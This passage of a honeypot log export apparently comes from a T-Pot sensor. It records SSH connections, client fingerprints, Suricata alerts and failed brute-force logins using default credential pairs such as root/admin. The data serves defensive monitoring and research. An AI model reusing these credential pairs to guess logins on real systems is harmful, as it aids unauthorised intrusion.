"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}, "protocol": "ssh", "src_port": 53270, "dest_port": 22, "timestamp": "2021-09-20T12:13:11.363901", "@timestamp": "2021-09-20T12:13:11.363Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	JP
36251	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:13:13.275146+03	2021-09-20 15:15:04.33472+03	{"_id": "RQYfA3wBvYTbRNuE4mHL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.87.161.152:2324 (192.168.176.2:22) [session: c356669a9113]", "session": "c356669a9113", "@version": "1", "protocol": "ssh", "src_port": 2324, "dest_port": 22, "timestamp": "2021-09-20T12:13:13.275146Z", "@timestamp": "2021-09-20T12:13:13.275Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36252	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:13:13.278064+03	2021-09-20 15:15:04.336727+03	{"_id": "RwYfA3wBvYTbRNuE4mHL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "c356669a9113", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:13:13.278064Z", "@timestamp": "2021-09-20T12:13:13.278Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36253	113.87.161.152	109.199.241.180	Suricata	2021-09-20 15:13:13.558972+03	2021-09-20 15:15:04.337705+03	{"_id": "SgYfA3wBvYTbRNuE42Hl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "flow_id": 2151381244323676, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2324, "dest_port": 22, "timestamp": "2021-09-20T12:13:13.558972Z", "@timestamp": "2021-09-20T12:13:13.558Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36254	8.37.43.243	109.199.241.180	Cowrie	2021-09-20 15:13:01.753574+03	2021-09-20 15:15:04.338728+03	{"_id": "FQYfA3wBvYTbRNuEt2HN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "8.37.43.243", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.76.44.4245412109.199.241.180'", "session": "190a5c8e8841", "version": "b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.76.44.4245412109.199.241.180'", "@version": "1", "timestamp": "2021-09-20T12:13:01.753574Z", "@timestamp": "2021-09-20T12:13:01.753Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	JP
36266	223.241.247.214	109.199.241.180	Fatt	2021-09-20 15:13:25.394331+03	2021-09-20 15:15:04.355691+03	{"_id": "bgYgA3wBvYTbRNuEE2HC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 40058, "dest_port": 22, "timestamp": "2021-09-20T12:13:25.394331", "@timestamp": "2021-09-20T12:13:25.394Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36255	8.37.43.243	109.199.241.180	Suricata	2021-09-20 15:13:02.02119+03	2021-09-20 15:15:04.34069+03	{"_id": "FwYfA3wBvYTbRNuEuGHo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.76.44.4245412109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:13:01.480739+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 789, "bytes_toserver": 1237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "proto": "TCP", "src_ip": "8.37.43.243", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 720588050879971, "payload": "AAAAVC4eAAAAIBgr92Ft+K54PGwTNsSSl3wqsOsm/QtEwllUE42FUgYbcFqLZrjrVgbh+FDNSgGsTakSc4uOG9ElXiYu4I8vZIqEsR4VU7Qp5ZC/ZCgvkA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52533, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:13:02.021190Z", "@timestamp": "2021-09-20T12:13:02.021Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..... .+.am..x<l.6...|*..&..D.YT...R..pZ.f..V...P.J..M..s....%^&.../d.....S.)...d(/."}}	1	\N	\N	alert	\N	JP
36256	8.37.43.243	109.199.241.180	Cowrie	2021-09-20 15:13:04.122639+03	2021-09-20 15:15:04.34172+03	{"_id": "GQYfA3wBvYTbRNuEv2Ge", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "8.37.43.243", "eventid": "cowrie.login.failed", "message": "login attempt [root/admin] failed", "session": "190a5c8e8841", "@version": "1", "password": "admin", "username": "root", "timestamp": "2021-09-20T12:13:04.122639Z", "@timestamp": "2021-09-20T12:13:04.122Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	JP
36257	8.37.43.243	109.199.241.180	Cowrie	2021-09-20 15:13:05.395245+03	2021-09-20 15:15:04.34272+03	{"_id": "GgYfA3wBvYTbRNuEw2GG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "8.37.43.243", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "190a5c8e8841", "@version": "1", "duration": 3.642014980316162, "timestamp": "2021-09-20T12:13:05.395245Z", "@timestamp": "2021-09-20T12:13:05.395Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	JP
36258	8.37.43.243	109.199.241.180	Cowrie	2021-09-20 15:13:02.021462+03	2021-09-20 15:15:04.343693+03	{"_id": "EwYfA3wBvYTbRNuEt2HN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "3des-ctr"], "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "hassh": "63bec3855e65ea71385ce2634bf2f234", "macCS": ["hmac-sha2-256", "hmac-sha1"], "compCS": ["none", "zlib"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "8.37.43.243", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-1.3.132.0.10", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "diffie-hellman-group16-sha512", "diffie-hellman-group15-sha512", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "ext-info-c"], "keyAlgs": ["rsa-sha2-512", "rsa-sha2-256", "ssh-ed25519", "ecdsa-sha2-1.3.132.0.10", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 63bec3855e65ea71385ce2634bf2f234", "session": "190a5c8e8841", "@version": "1", "timestamp": "2021-09-20T12:13:02.021462Z", "@timestamp": "2021-09-20T12:13:02.021Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}}	1	\N	cowrie.client.kex	\N	\N	JP
36259	8.37.43.243	109.199.241.180	Cowrie	2021-09-20 15:13:02.571821+03	2021-09-20 15:15:04.34569+03	{"_id": "FAYfA3wBvYTbRNuEt2HN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "8.37.43.243", "eventid": "cowrie.login.failed", "message": "login attempt [root/admin] failed", "session": "190a5c8e8841", "@version": "1", "password": "admin", "username": "root", "timestamp": "2021-09-20T12:13:02.571821Z", "@timestamp": "2021-09-20T12:13:02.571Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	JP
36267	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 15:13:26.590176+03	2021-09-20 15:15:04.35672+03	{"_id": "bwYgA3wBvYTbRNuEFWGa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.login.failed", "message": "login attempt [suporte/1qaz2wsx] failed", "session": "b928d3ebe086", "@version": "1", "password": "1qaz2wsx", "username": "suporte", "timestamp": "2021-09-20T12:13:26.590176Z", "@timestamp": "2021-09-20T12:13:26.590Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36260	8.37.43.243	109.199.241.180	Suricata	2021-09-20 15:13:02.021145+03	2021-09-20 15:15:04.34669+03	{"_id": "GAYfA3wBvYTbRNuEuGHo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.76.44.4245412109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "proto": "TCP", "src_ip": "8.37.43.243", "dest_ip": "192.168.20.116", "flow_id": 720588050879971, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52533, "dest_port": 22, "timestamp": "2021-09-20T12:13:02.021145Z", "@timestamp": "2021-09-20T12:13:02.021Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	JP
36261	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 15:13:25.116967+03	2021-09-20 15:15:04.347691+03	{"_id": "aQYgA3wBvYTbRNuEEWGx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 223.241.247.214:40058 (192.168.176.2:22) [session: b928d3ebe086]", "session": "b928d3ebe086", "@version": "1", "protocol": "ssh", "src_port": 40058, "dest_port": 22, "timestamp": "2021-09-20T12:13:25.116967Z", "@timestamp": "2021-09-20T12:13:25.116Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36262	223.241.247.214	109.199.241.180	Suricata	2021-09-20 15:13:25.394331+03	2021-09-20 15:15:04.34969+03	{"_id": "awYgA3wBvYTbRNuEEmHK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:13:24.840084+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 883328658231700, "payload": "AAADzAYUHCy6zG3tp11u4BTVLuDwxAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40058, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:13:25.394331Z", "@timestamp": "2021-09-20T12:13:25.394Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......,..m..]n..........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
36263	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:13:25.121241+03	2021-09-20 15:15:04.35069+03	{"_id": "bQYgA3wBvYTbRNuEE2HC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "223.241.247.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40058, "timestamp": "2021-09-20T12:13:25.121241", "@timestamp": "2021-09-20T12:13:25.121Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
